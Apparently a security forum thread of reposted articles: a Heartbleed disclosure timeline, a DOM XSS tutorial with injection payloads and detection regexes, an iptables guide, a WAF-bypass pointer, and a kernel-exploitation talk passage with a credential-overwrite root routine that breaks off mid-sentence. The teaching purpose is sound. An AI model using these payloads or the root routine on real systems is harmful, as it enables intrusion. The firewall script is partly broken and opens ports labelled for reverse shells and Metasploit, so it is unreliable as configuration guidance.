Nytro

Heartbleed disclosure timeline: who knew what and when April 15, 2014 Ben Grubb Ever since the "Heartbleed" flaw in encryption protocol OpenSSL was made public on April 7 in the US there have been various questions about who knew what and when. Fairfax Media has spoken to various people and groups involved and has compiled the below timeline. If you have further information or corrections - especially information about what occurred prior to March 21 at Google - please email the author: bgrubb@fairfaxmedia.com.au. Click here for his PGP key. All times are in US Pacific Daylight Time Advertisement Friday, March 21 or before - Neel Mehta of Google Security discovers Heartbleed vulnerability. Friday, March 21 10.23 - Bodo Moeller and Adam Langley of Google commit a patch for the flaw (This is according to the timestamp on the patch file Google created and later sent to OpenSSL, which OpenSSL forwarded to Red Hat and others). The patch is then progressively applied to Google services/servers across the globe. Monday, March 31 or before - Someone tells content distribution network CloudFlare about Heartbleed and they patch against it. CloudFlare later boasts on its blog about how they were able to protect their clients before many others. CloudFlare chief executive officer Matthew Prince would not tell Fairfax how his company found out about the flaw early. "I think the most accurate reporting of events with regard to the disclosure process, to the extent I know them, was written by Danny over at the [Wall Street Journal]," he says. The article says CloudFlare was notified of the bug the week before last and made the recommended fix "after signing a non-disclosure agreement". In a seperate article, The Verge reports that a CloudFlare staff member "got an alarming message from a friend" which requested that they send the friend their PGP email encryption key as soon as possible. "Only once a secure channel was established and a non-disclosure agreement was in place could he share the alarming news" about the bug, The Verge reported. On April 17, CloudFlare says in a blog that when it was informed it did not know then that it was among the few to whom the bug was disclosed before the public announcement. "In fact, we did not even know the bug's name. At that time we had simply removed TLS heartbeat functionality completely from OpenSSL..." Tuesday, April 1 - Google Security notifies "OpenSSL team members" about the flaw it has found in OpenSSL, which later becomes known as "Heartbleed", Mark Cox at OpenSSL says on social network Google Plus. Tuesday, April 1 04:09 - "OpenSSL team members" forward Google's email to OpenSSL's "core team members". Cox at OpenSSL says the following on Google Plus: "Original plan was to push [a fix] that week, but it was postponed until April 9 to give time for proper processes." Google tells OpenSSL, according to Cox, that they had "notified some infrastructure providers under embargo". Cox says OpenSSL does not have the names of providers Google told or the dates they were told. Google declined to tell Fairfax which partners it had told. "We aren't commenting on when or who was given a heads up," a Google spokesman said. Wednesday, April 2 ~23:30 - Finnish IT security testing firm Codenomicon separately discovers the same bug that Neel Mehta of Google found in OpenSSL. A source inside the company gives Fairfax the time it was found as 09:30 EEST April 3, which converts to 23:30 PDT, April 2. Thursday, April 3 04:30 - Codenomicon notifies the National Cyber Security Centre Finland (NCSC-FI) about its discovery of the OpenSSL bug. Codenomicon tells Fairfax in a statement that they're not willing to say whether they disclosed the bug to others. "We have strict [non-disclosure agreements] which do not allow us to discuss any customer engagements. Therefore, we do not want to weigh in on the disclosure debate," a company spokeswoman says. A source inside the company later tells Fairfax: "Our customers were not notified. They first learned about it after OpenSSL went public with the information." Friday, April 4 - Content distribution network Akamai patches its servers. They initially say OpenSSL told them about bug but the OpenSSL core team denies this in an email interview with Fairfax. Akamai updates its blog after the denial - prompted by Fairfax - and Akamai's blog now says an individual in the OpenSSL community told them. Akamai's chief security officer, Andy Ellis, tells Fairfax: "We've amended the blog to specific [sic] a member of the community; but we aren't going to disclose our source." It's well known a number of OpenSSL community members work for companies in the tech sector that could be connected to Akamai. Friday, April 4 - Rumours begin to swirl in open source community about a bug existing in OpenSSL, according to one security person at a Linux distribution Fairfax spoke to. No details were apparent so it was ignored by most. Saturday, April 5 15:13 - Codenomicon purchases the Heartbleed.com domain name, where it later publishes information about the security flaw. Saturday, April 5 16:51 - OpenSSL (not public at this point) publishes this (since taken offline) to its Git repository. Sunday, April 6 02:30 - The National Cyber Security Centre Finland asks the CERT Coordination Centre (CERT/CC) in America to be allocated a common vulnerabilites exposure (CVE) number "on a critical OpenSSL issue" without disclosing what exactly the bug is. CERT/CC is located at the Software Engineering Institute, a US government funded research centre operated by Carnegie Mellon University. The centre was created in in 1988 at DARPA's direction in response to the Morris worm incident. Sunday, April 6 ~22:56 - Mark Cox of OpenSSL (who also works for Red Hat and was on holiday) notifies Linux distribution Red Hat about the Heartbleed bug and authorises them to share details of the vulnerability on behalf of OpenSSL to other Linux operating system distributions. Sunday, April 6 22.56 - Huzaifa Sidhpurwala (who works for Red Hat) adds a (then private) bug to Red Hat's bugzilla. Sunday, April 6 23.10 - Huzaifa Sidhpurwala sends an email about the bug to a private Linux distribution mailing list with no details about Heartbleed but an offer to request them privately under embargo. Sidhpurwala says in the email that the issue would be made public on April 9. Cox of OpenSSL says on Google Plus: "No details of the issue are given: just affected versions [of OpenSSL]. Vendors are told to contact Red Hat for the full advisory under embargo." Sunday, April 6 ~23:10 - A number of people on the private mailing list ask Sidhpurwala, who lives in India, for details about the bug. Sidhpurwala gives details of the issue, advisory, and patch to the operating system vendors that replied under embargo. Those who got a response included SuSE (Monday, April 7 at 01:15), Debian (01:16), FreeBSD (01:49) and AltLinux (03:00). “Some other [operating system] vendors replied but [Red Hat] did not give details in time before the issue was public," Cox said. Sidhpurwala was asleep during the time the other operating system vendors requested details. "Some of them mailed during my night time. I saw these emails the next day, and it was pointless to answer them at that time, since the issue was already public," Sidhpurwala says. Those who attempted to ask and were left without a response included Ubuntu (asked at 04:30), Gentoo (07:14) and Chromium (09:15), says Cox. Prior to Monday, April 7 or early April 7 - Facebook gets a heads up, people familiar with matter tell the Wall Street Journal. Facebook say after the disclosure: "We added protections for Facebook’s implementation of OpenSSL before this issue was publicly disclosed, and we're continuing to monitor the situation closely." An article on The Verge suggests Facebook got an encrypted email message from a friend in the same way CloudFlare did. Monday, April 7 08.19 - The National Cyber Security Centre Finland reports Codenomicon's OpenSSL "Heartbleed" bug to OpenSSL core team members Ben Laurie (who works for Google) and Mark Cox (Red Hat) via encrypted email. Monday, April 7 09.11 - The encrypted email is forwarded to the OpenSSL core team members, who then decide, according to Cox, that "the coincidence of the two finds of the same issue at the same time increases the risk while this issue remained unpatched. OpenSSL therefore released updated packages [later] that day." Monday, April 7 09:53 - A fix for the OpenSSL Heartbleed bug is committed to OpenSSL's Git repository (at this point private). Confirmed by Red Hat employee: "At this point it was private." Monday, April 7 10:21:29 - A new OpenSSL version is uploaded to OpenSSL's web server with the filename "openssl-1.0.1g.tgz". Monday, April 7 10:27 - OpenSSL publishes a Heatbleed security advisory on its website (website metadata shows time as 10:27 PDT). Monday, April 7 10:49 - OpenSSL issues a Heartbleed advisory via its mailing list. It takes time to get around. Monday, April 7 11:00 - CloudFlare posts a blog entry about the bug. Monday, April 7 12:23 - CloudFlare tweets about its blog post. Monday, April 7 12:37 - Google's Neel Mehta comes out of Twitter hiding to tweet about the OpenSSL flaw. Monday, April 7 13:13 - Codenomicon tweets they found bug too and link to their Heartbleed.com website. Monday, April 7 ~13:13 - Most of the world finds out about the issue through heartbleed.com. Monday, April 7 15:01 - Ubuntu comes out with patch. Monday, April 7 23.45 - The National Cyber Security Centre Finland issues a security advisory on its website in Finnish. Monday, April 8 ~00:45 - The National Cyber Security Centre Finland issues a security advisory on its website in English. Tuesday, April 9 - A Red Hat technical administrator for cloud security, Kurt Seifried, says in a public mailing list that Red Hat and OpenSSL tried to coordinate disclosure. But Seifried says things "blew up" when Codenomicon reported the bug too. "My understanding is that OpenSSL made this public due to additional reports. I suspect it boiled down to 'Group A found this flaw, reported it, and has a reproducer, and now Group B found the same thing independently and also has a reproducer. Chances are the bad guys do as well so better to let everyone know the barn door is open now rather than wait 2 more days'. But there may be other factors I'm not aware [of],” Seifried says. Wednesday, April 9 - A Debian developer, Yves-Alexis Perez, says on the same mailing list: "I think we would have managed to handle it properly if the embargo didn't break." Wednesday, April 9 - Facebook and Microsoft donate $US15,000 to Neel Mehta via the Internet Bug Bounty program for finding the OpenSSL bug. Mehta gives the funds to the Freedom of the Press Foundation. Monday, April 14 ~12.30pm - The Guardian reports a mothers forum with 1.5 million users called Mumsnets is impacted by Heartbleed. A "hacker" reportedly breached the admin's user account. Monday, April 14 - the Canada Revenue Agency announces social insurance numbers of approximately 900 taxpayers were removed from its systems by someone exploiting the Heartbleed vulnerability. Wednesday, April 16 - A Canadian teen is arrested for stealing tax data with Heartbleed. Who knew of heatbleed prior to release? Google (March 21 or prior), CloudFlare (March 31 or prior), OpenSSL (April 1), Codenomicon (April 2), National Cyber Security Centre Finland (April 3), Akamai (April 4 or earlier) and Facebook (no date given). Who knew hours before public release? SuSE, Debian, FreeBSD and AltLinux. Who didn't know until public release? Many, including Amazon Web Services, Twitter, Yahoo, Ubuntu, Cisco, Juniper, Pinterest, Tumblr, GoDaddy, Flickr, Minecraft, Netflix, Soundcloud, Commonwealth Bank of Australia (main website, not net banking website), CERT Australia website, Instagram, Box, Dropbox, GitHub, IFTTT, OKCupid, Wikipedia, Wordpress and Wunderlist. Many thanks to: Nik Cubrilovic, Yves-Alexis Perez, public mailing lists, emails with OpenSSL core team, emails with the National Cyber Security Centre Finland, Google Plus posts, and emails with people who volunteer at Linux distributions. Corrections/updates: April 15, 4.14pm AEST: Some Codenomicon dates were wrong. They have been fixed. April 16, 6.04pm AEST: Added another significant event that occured on Sunday, April 6 02:30 PDT. April 16, 9.57pm AEST: Added details about the time OpenSSL core team members found out about Heartbleed from Google. April 18, 6.18pm AEST: Added information about the Canadian tax agency breach, the Canadian teen getting arrested for it, and details from this blog post from CloudFlare. Sursa: Heartbleed disclosure timeline: who knew what and when

[h=2]Windows System Call and CSR API tables updated[/h] Having the first spare weekend in a really long time, I have decided it was high time to update some (all) of the tables related to Windows system calls and CSR API I once created and now try to maintain. This includes NT API syscalls for the 32-bit and 64-bit Intel platforms, win32k.sys syscalls for 32-bit and 64-bit Intel platforms, as well as CSR API information formatted in two different ways for convenience (a list and a table). Without further ado, all of the tables now contain up-to-date data covering all operating systems available to me at the time, including Windows 8, 8.1 and Server 2012. The links are as follows:[h=3]NT system calls[/h] Windows X86 System Call Table (NT/2000/XP/2003/Vista/2008/7/8) Windows X86-64 System Call Table (NT/2000/XP/2003/Vista/2008/7/2012/8) [h=3]Win32k.sys system calls[/h] Windows WIN32K.SYS System Call Table (NT/2000/XP/2003/Vista/2008/7/8) Windows x86-64 WIN32K.SYS System Call Table (NT/2000/XP/2003/Vista/2008/7/2012/8) [h=3]CSR API calls[/h] Windows CSRSS API List (NT/2000/XP/2003/Vista/2008/7/2012/8) Windows CSRSS API Table (NT/2000/XP/2003/Vista/2008/7/2012/8) Pointers to all tables can also be found in the left pane under the “OS Structures” section. If you spot a bug in any of the tables or have any other comments, let me know. I hope you find them useful! Sursa: Windows System Call and CSR API tables updated | j00ru//vx tech blog

Cross Site scripting (XSS) has been a problem for well over a decade now, XSS just like other well known security issues such as SQL, XPATH, LDAP Injection etc fells inside the category of input validation attacks. An xss vulnerability occurs when an input taken from the user is not filtered/santized before it's returned back to the user. The XSS can be divided into the following three categories: 1) Reflected XSS 2) Stored XSS 3) DOM Based XSS As time has passed by the security community has came up with lots of solutions to mitigate XSS attacks such as encoding libraries, Web Application filters based upon blacklists, Browser based XSS filters, Content security policy etc, however all of them have had some limitation either not being able to mitigate xss attacks in a certain context. For example - We have a well known PHP based protection library called HTML purifier, it offers great protection against XSS attacks in lots of different context, however currently it has no support for HTML 5, talking about content security policy which dubbed as the best solution for mitigating xss attacks has no support for inline JS as well as no support for mobile browsers. However, traditional XSS has been mitigated to some extent where the input is sent to the server and when is returned without any sanitation. However what happens in case where the user input is never sent to the server side and get's executed on the client side?. In that case all the server side defenses would fail as the payload never arrives the server. This is what is referred as DOM based XSS when the payload is never sent to the server and is executed on the client side, in order to understand DOM based XSS better, we would need to understand, what's DOM. What is DOM? DOM stands for document object model and all it is a javascript's way of accessing page. Each and every HTML element has a correspoding entity inside of DOM. What is DOM Based XSS? A DOM based XSS vulnerability occurs when a source get's executed as a sink without any sanitization. A source is commonly refered as any thing that takes input, which apparentely in javascript is "Everything taken from a URL". Common sources inside javascript are document.url, location.hash, location.href, document.referer. A more detailed list is available at the DOM based XSS Wiki. A sink is refered to anything that creates HTML in an insecure way. There are wide variety of different sinks depending upon the javascript libraray you use. For example: In javascript document.write, innerHTML, eval are the most commonly found sinks, where as in jquery we have .html(), .appendto() etc. We can find a list of commonly used sinks at DOM based XSS wiki. How to find DOM Based XSS? There are couple of different approaches to detecting DOM based XSS such as black box fuzzing, static analysis and Dynamic analysis. We will discuss all three of them. Black Box Fuzzing In black box fuzzing approach, we try injecting different XSS vectors inside different javascript sources and hoping for javascript to be executed. A tool called Ra-2 is an example of blackbox fuzzing approach towards DOM based XSS. The Fundamental problem with this approach is that it's not context aware and contains several false negatives. Static Analysis Another approach is to detecting DOM based XSS is by performing a static source code analysis, where by we try finding out the sources/sinks and we trace if a source is being executed as a sink.DOM based XSS wiki contains a list of regular expressions which would help you find out the sources/sinks: The following regular expressions would help you determine all the sources and sinks in a javascript file: Finding Sources: /(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog| cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage| Database)/ Finding Javascript Sinks: /((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open (Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/ Finding Jquery based sinks /after\(|\.append\(|\.before\(|\.html\(|\.prepend\(|\.replaceWith\(|\.wrap\(|\.wrapAll\(|\$\(|\.globalEval\(|\.add\(| jQUery\(|\$\(|\.parseHTML\(/ JSprime and IBM appscan apply this particular approach to detecting DOM based XSS. The fundamental problem with this approach is that javascript code may be compressed, packed or Obfuscated, in that scenario Static analysis won't help us. Also in case where the code is encoded and is decsoded and executed at runtime a static code analyzer won't be able to detect it. An example of this would be the following statement: eval('var a'+'=loc'+'ation'+'.hash'); The strings would are spilitted and would be joined together in memory at runtime and would be executed by using the eval function. Dynamic Analysis As mentioned above, a static code analyzer won't be able to detect obfuscated and code which would execute at the run-time. In that case, we have another approach called as Dynamic taint tracking. The taint flag is added to the source and it's tracked until it is executed via a source at run-time. Dominator is currently the only tool in the market that utilizes this methodology, however there are several places where dominator is not effective 1) Human interaction is necessary for the analysis to be performed. 2) If a human misses to test a feature dominator would also miss. 3) A better dynamic taint tracking is required. Let's now talk about few examples: Example: <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML> The following code is taken from Amiet klien's paper on "DOM based XSS", In the above script we see a javascript source document.url that takes input from a url, The indexof property searches for the name parameter inside the url and is saved into the "pos" variable, later the user input stored inside the pos variable is being directly written to the DOM without any sanitization. By inserting the following payload, javascript would be executed and hence would finalize the DOM based XSS attack: http://www.target.com/page?name=<script>alert(1);</script> In the above case one might argue that the payload would be sent to the server in initial requests, but in the following scenario where we specify a hash before the name variable, the payload would not be sent to the server. http://www.target.com/page?#name=<script>alert(1);</script> Let's take a look at another example: <html> <body> <h2>POC for settimeout DOMXSS</h2> <body> <script> var i=location.hash.split('#')[1]; (function () { setTimeout(i,3000); })(); </script> </body> </html> In this case, the source is location.hash, the split function is used which would split up everything after hash, the user input is being stored under variable "i" which is later executed via setTimeout() function which is a known javascript sink. The following would trigger an alert after three seconds: http://www.target.com/page.html#alert(1) Example 3 <script> var redir = location.hash.split("#")[1]; x = document.getElementById('anchor'); x.setAttribute('href',redir); </script> The following is another very simple example of DOM based XSS, the input is taken from location.hash and is stored inside redir variable. Next, we use getElementByID method to search for anchor element with id "anchor". next the value of redir is assigned to the href attribute via the setAttribute API. The sink in this case is the href. You may try replacing href with src and it would still result in the javascript being executed. Cross Browser Detection Some browsers encode special characters when taken from a particular before displaying it back to the DOM and due to this reason a DOM based XSS vulnerability might trigger in one browser, but does not trigger in another browser. For example: Firefox encodes every thing sent after ?, where as internet explorer doesn't. A list of these characters is already compiled up on DOM based XSS wiki. Consider, Spending some time reviewing it. https://code.google.com/p/domxsswiki/wiki/LocationSources Defending Against DOM Based XSS The following steps shall be taken to mitigate DOM based XSS attacks 1) Unsafe sinks shall not be used. They shall be replaced with safe methods. For example: innerHTML is classified as a dangerous sink, however innertext could be used in place of innerHTML, which is a safe DOM method. Similarly in jquery, .html() (equivalent to innerHTMLof javascript) is classified as a dangerous method, alternatively we have .text() method to safely write things to the DOM. 2) As there are several different javascript libraries, community should make effort in classifying all the dangerous sinks in that particular libraray and introduce safe methods This concludes the introductory post on DOM based XSS, Stay tuned for the part 2. Sursa: DOM XSS Explained - Part 1 | Learn How To Hack - Ethical Hacking and security tips

ABSTRACT Readers, there are numerous reasons ... It is well known that the Internet is an unmanaged an decentralized network, running under a set of protocols, which are not designed to ensure the integrity and confidentiality of information and access controls. There are several ways to breach a network, but these ways do nothing more than take advantage of flaws within network protocols and services. CONCEPTS IPTABLES is an editing tool for packet filtering, with it you can analyze the header and make decisions about the destinations of these packets, it is not the only existing solution to control this filtering. We still have the old ipfwadm and ipchains, etc. It is important to note that in Gnu / Linux, packet filtering is built into the kernel. Why not configure your installation in accordance with this article, since most distributions come with it enabled as a module or compiled directly into the kernel. STEP BY STEP case "$1" in start) Clearing Rules iptables -t filter -F iptables -t filter -X Tips [ICMP ECHO-REQUEST] messages sent to broadcast or multicast echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts Protection against ICMP redirect request echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects Do not send messages, ICMP redirected. echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects (Ping) ICMP iptables -t filter -A INPUT -p icmp -j ACCEPT iptables -t filter -A OUTPUT -p icmp -j ACCEPT Packages logs with nonexistent addresses (due to wrong routes) on your network echo 1 > /proc/sys/net/ipv4/conf/all/log_martians Enabling forwarding packets (required for NAT) echo "1" >/proc/sys/net/ipv4/ip_forward SSH accepted iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT Do not break established connections iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT Block all connections by default iptables -t filter -P INPUT DROP iptables -t filter -P FORWARD DROP iptables -t filter -P OUTPUT DROP IP spoofing protection echo "1" > /proc/sys/net/ipv4/conf/default/rp_filter echo - Subindo proteção contra ip spoofing : [OK] Disable sending the IPV4 echo 0 > /proc/sys/net/ipv4/ip_forward SYN-Flood Protection iptables -N syn-flood iptables -A syn-flood -m limit --limit 10/second --limit-burst 50 -j RETURN iptables -A syn-flood -j LOG --log-prefix "SYN FLOOD: " iptables -A syn-flood -j DROP # Loopback iptables -t filter -A INPUT -i lo -j ACCEPT iptables -t filter -A OUTPUT -o lo -j ACCEPT Tips connections scans iptables -A INPUT -m recent --name scan --update --seconds 600 --rttl --hitcount 3 -j DROP iptables -A INPUT -m recent --name scan --update --seconds 600 --rttl --hitcount 3 -j LOG --log-level info --log-prefix "Scan recent" Tips SYN packets invalid iptables -A INPUT -p tcp --tcp-flags ALL ACK,RST,SYN,FIN -j DROP iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP iptables -A INPUT -p tcp --tcp-flags ALL ACK,RST,SYN,FIN -j LOG --log-level info --log-prefix "Packages SYN Detected" iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j LOG --log-level info --log-prefix "Packages SYN Detected" iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j LOG --log-level info --log-prefix "Packages SYN Detected" # Tips SYN packets invalid iptables -A OUTPUT -p tcp --tcp-flags ALL ACK,RST,SYN,FIN -j DROP iptables -A OUTPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP iptables -A OUTPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP iptables -A INPUT -p tcp --tcp-flags ALL ACK,RST,SYN,FIN -j LOG --log-level info --log-prefix "Packages SYN Detected" iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j LOG --log-level info --log-prefix "Packages SYN Detected" iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j LOG --log-level info --log-prefix "Packages SYN Detected" Certifies that new packets are SYN, otherwise they Tips iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP Discard packets with fragments of entry. Attack that can cause data loss iptables -A INPUT -f -j DROP iptables -A INPUT -f -j LOG --log-level info --log-prefix "Packages fragmented entries" Tips malformed XMAS packets iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP iptables -A INPUT -p tcp --tcp-flags ALL ALL -j LOG --log-level info --log-prefix "malformed XMAS packets" DNS In/Out iptables -t filter -A OUTPUT -p tcp --dport 53 -j ACCEPT iptables -t filter -A OUTPUT -p udp --dport 53 -j ACCEPT iptables -t filter -A INPUT -p tcp --dport 53 -j ACCEPT iptables -t filter -A INPUT -p udp --dport 53 -j ACCEPT NTP Out iptables -t filter -A OUTPUT -p udp --dport 123 -j ACCEPT WHOIS Out iptables -t filter -A OUTPUT -p tcp --dport 43 -j ACCEPT FTP Out iptables -t filter -A OUTPUT -p tcp --dport 20:21 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 30000:50000 -j ACCEPT FTP In iptables -t filter -A INPUT -p tcp --dport 20:21 -j ACCEPT iptables -t filter -A INPUT -p tcp --dport 30000:50000 -j ACCEPT iptables -t filter -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT HTTP + HTTPS Out iptables -t filter -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 443 -j ACCEPT HTTP + HTTPS In iptables -t filter -A INPUT -p tcp --dport 80 -j ACCEPT iptables -t filter -A INPUT -p tcp --dport 443 -j ACCEPT Mail SMTP:25 iptables -t filter -A INPUT -p tcp --dport 25 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 25 -j ACCEPT Mail POP3:110 iptables -t filter -A INPUT -p tcp --dport 110 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 110 -j ACCEPT Mail IMAP:143 iptables -t filter -A INPUT -p tcp --dport 143 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 143 -j ACCEPT # Reverse iptables -t filter -A INPUT -p tcp --dport 77 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 77 -j ACCEPT MSF iptables -t filter -A INPUT -p tcp --dport 7337 -j ACCEPT iptables -t filter -A OUTPUT -p tcp --dport 7337 -j ACCEPT ####################################### WEB Management Firewall touch /var/log/firewall chmod +x /var/log/firewall /var/log/firewall -A INPUT -p icmp -m limit --limit 1/s -j LOG --log-level info --log-prefix "ICMP Dropped " /var/log/firewall -A INPUT -p tcp -m limit --limit 1/s -j LOG --log-level info --log-prefix "TCP Dropped " /var/log/firewall -A INPUT -p udp -m limit --limit 1/s -j LOG --log-level info --log-prefix "UDP Dropped " /var/log/firewall -A INPUT -f -m limit --limit 1/s -j LOG --log-level warning --log-prefix "FRAGMENT Dropped " /var/log/firewall -A INPUT -m limit --limit 1/minute --limit-burst 3 -j LOG --log-level DEBUG --log-prefix "IPT INPUT packet died: " /var/log/firewall -A INPUT -m limit --limit 3/minute --limit-burst 3 -j LOG --log-level DEBUG --log-prefix "IPT INPUT packet died: " exit 0 ;; stop) echo "turning off the firewall " iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -t filter -F exit 0 ;; restart) /etc/init.d/firewall stop /etc/init.d/firewall start ;; echo "Use: /etc/init.d/firewall {start|stop|restart}" exit 1 ;; esac Logs available: /var/log/firewall COMMANDS TO MONITOR LOGS: tail -f /var/log/messages Save: /etc/init.d/firewall CONCLUSION Gentlemen, I hope to help you in configuring your network security and remind you to choose only the best options available. Allow me to add a few Advantages of using your firewall. Be sure to Block unknown and unauthorized connections. You can specify what types of network protocols and services to be provided and you may control the packets from any untrusted services. Your firewall also allows blocking websites with URL filters, access control, access logs for reports by user, protecting the corporate network through proxies, and Automatic Address Conversion (NAT). Control services that can either be executed or not, on the network allowing for high performance in their duties with easy administration and reliability. Sursa: A Beginners Guide To Using IPTables | Learn How To Hack - Ethical Hacking and security tips

Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters Last month i was asked by my university teacher "Sir Asim Ali" to write a paper on any topic related to "Computer Architecture" as a semester project. I was particularly interested in writing security related stuff, let it be related to computer architecture, networks etc. However i found that lots of work has already been done on the architecture level security. Therefore, i convinced my teacher that i'll be writing on "Bypassing Modern Web Application Firewall's" as some of you might know that most of my research is related to client side vulnerabilities and bypassing WAF's. In my day to day job as a penetration tester, it's very often that i encounter a web application firewall/filter that looks for malicious traffic inside the http request and filters it out, some of them are easy to break and some of them are very hard. However, in one or another context all the WAF's i have encountered are bypassable at some point. Rsnake's XSS cheat sheet was one of the best resources available for bypassing WAF's, however overtime as browsers got updated lots of the vectors didn't work on the newer browser. Therefore there was a need to create a new Cheat Sheet. Over time i have developed my own methodology for bypassing WAF's and that's what i have written the paper on. The paper talks specifically about bypassing XSS filters, as for SQLi, RCE etc. I thought to write a different paper as the techniques differ in many cases. Download: WAF_Bypassing_By_RAFAYBALOCH Sursa: Bypassing Modern WAF's XSS Filters - Cheat Sheet | Learn How To Hack - Ethical Hacking and security tips

[h=3]December HZV Meet : Linux Kernel Exploitation [/h]Hello, So, last Saturday, I did a talk about Linux Kernel Exploitation. I went over some well known vulnerabilities and I ended with a demo on a kernel exploitation challenge (here) by Jason Donenfeld (his site). The slides are at the end of this blog article. In this post, I will detail a bit more some of the slides in the talk. I will not detail every single slides, only the ones where I think there isn't enough details. If you don't understand some things, don't hesitate to comment . So, let's dig in. [h=2]Linux Kernel[/h] The kernel has LOTS of code. 15+ millions lines of code. LOTS of code mean complexity, complexity mean bugs and bugs mean potential vulnerabilities . Anyhow, the main gateway for users to interact with the kernel are syscalls and IOCTLs. Behind a syscall, especially network ones, there is a TONS of code. Effectively, for a bind() call, you have the same interface right? Well, the kernel, find the corresponding structure using the socket descriptor you use with your bind call. In that structure, there is what is called a struct proto_ops which contains callbacks for the corresponding protocol. [h=2]Exploiting the Linux Kernel[/h] The Linux Kernel is made of code, it is software. And everyone do know that software has bugs and vulnerabilities. The Linux Kernel is not an exception. You will mostly find all the vulnerabilities you know from userland: - stack based buffer overflows - heap based buffer overflows - race conditions - integer signedness issues - information leaks - initialisation issues - etc And some different ones: - NULL Pointer Dereference - stack overflow (real ones, not based on) - process manipulation tricks (mempodipper) - etc __copy_to_user() and copy_to_user() are not the same. The first one doesn't check that the address effectively live in userland while the second one do that. The goal of exploiting the kernel is mainly to get root. [h=2]NULL Pointer Dereference[/h]It was (is?) exploitable in kernel simply because you could (can?) map the NULL page in your exploit as it lives in userland. As such, it doesn't crash. [h=2]Heuristics[/h] These are routines that allow you to have good enough approximations. For instance, before 2.6.29, credentials were stored like this in the kernel: /*Kernel 2.6.23 include/linux/sched.h */ struct task_struct { /* ... */ /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; struct group_info *group_info; kernel_cap_t cap_effective, cap_inheritable, cap_permitted; unsigned keep_capabilities:1; struct user_struct *user; /* ... */ }; As you can see, uid, euid and suid will generally have the same value. So if you set thos values to 0, your process basically has root privileges. This heuristic is good enough as there is little chance that you will have 3 dwords with the same values in memory (don't forget we start to search from our current task_struct that represent our exploit process). This routine before 2.6.29 was thus enough to get root: // get root before 2.6.29 kernelvoid get_root_pre_2_6_29 (void) { uid_t uid, *cred; size_t byte; uid = getuid(); cred = get_task_struct(); if (!cred) return; for (byte = 0; byte < PAGE_SIZE; byte++) { if (cred[0] == uid && cred[1] == uid && cred[2] == uid) { cred[0] = cred[1] = cred[2] = cred[3] = 0; cred[4] = cred[5] = cred[6] = cred[7] = 0; } cred++; } } [h=2]Root in 3 big steps[/h]You've basically got 3 big steps: prepare, trigger vulnerability, trigger payload. [h=3]Prepare[/h] This is the most important step as this will greatly affect the reliability of your exploit. This is where you: - check that the kernel is vulnerable. - use information leaks - prepare the memory layout so you can predict reliably where your objects are - place your shell code in memory The avantage of shellcoding in the kernel : it is in C. [h=3]Trigger vulnerability[/h] This is where you will exploit your vulnerability. Patching memory, pointers and whatsoever. [h=3]Trigger payload[/h] This is where you escalate the privileges of your process. This is also where you fix the mayhem you may have caused earlier. It is REALLY important to fix the things you messed up as otherwise the machine may crash later. It is done in the payload as the payload is executed in kernel mode. root is in userland, root != kernel land, don't get confused about that. After triggering the payload, you go back in userland and spawn your root shell or whatsoever. Ok, now that you have the basic understanding, you are ready for some kernel goodies. [h=2]Linux Kernel Exploitation[/h]I won't explain CVE-2009-2692 unless some people ask for it. It is simple enough using the slides to comprehend. Anyhow, let's dig in TUN NULL Pointer Dereference. [h=3]TUN NULL Pointer Dereference[/h]This vulnerability is really interesting as there is something really special about it : the vulnerability is NOT in the source code. It is inserted at compilation. Basically, what happens is that tun is dereferenced before checking that tun is NULL. As such, GCC considers that the pointer doesn't need checking as we use it before checking : GCC removes the NULL check. Boom, vulnerability. The vulnerable code: static unsigned int tun_chr_poll(struct file *file, poll_table * wait){ struct tun_file *tfile = file->private_data; struct tun_struct *tun = __tun_get(tfile); struct sock *sk = tun->sk; unsigned int mask = 0; if (!tun) return POLLERR; /* ... */ if (sock_writeable(sk) || (!test_and_set_bit(SOCK_ASYNC_NOSPACE, &sk->sk_socket->flags) && sock_writeable(sk))) mask |= POLLOUT | POLLWRNORM; /* ... */ return mask; } o the NULL check doesn't exist and tun is NULL. So we can map the NULL page and we thus control tun->sk. We control sk->sk_socket->flags as well. test_and_set_bit() set the last bit at 1. Bang, we can set any NULL pointer to 1. In the exploit, mmap() is chosen as the TUN device doesn't have a mmap(). mmap() need to be see to one even though we control the NULL page as internally mmap() is not called if it's NULL. Put a trampoline at address 1 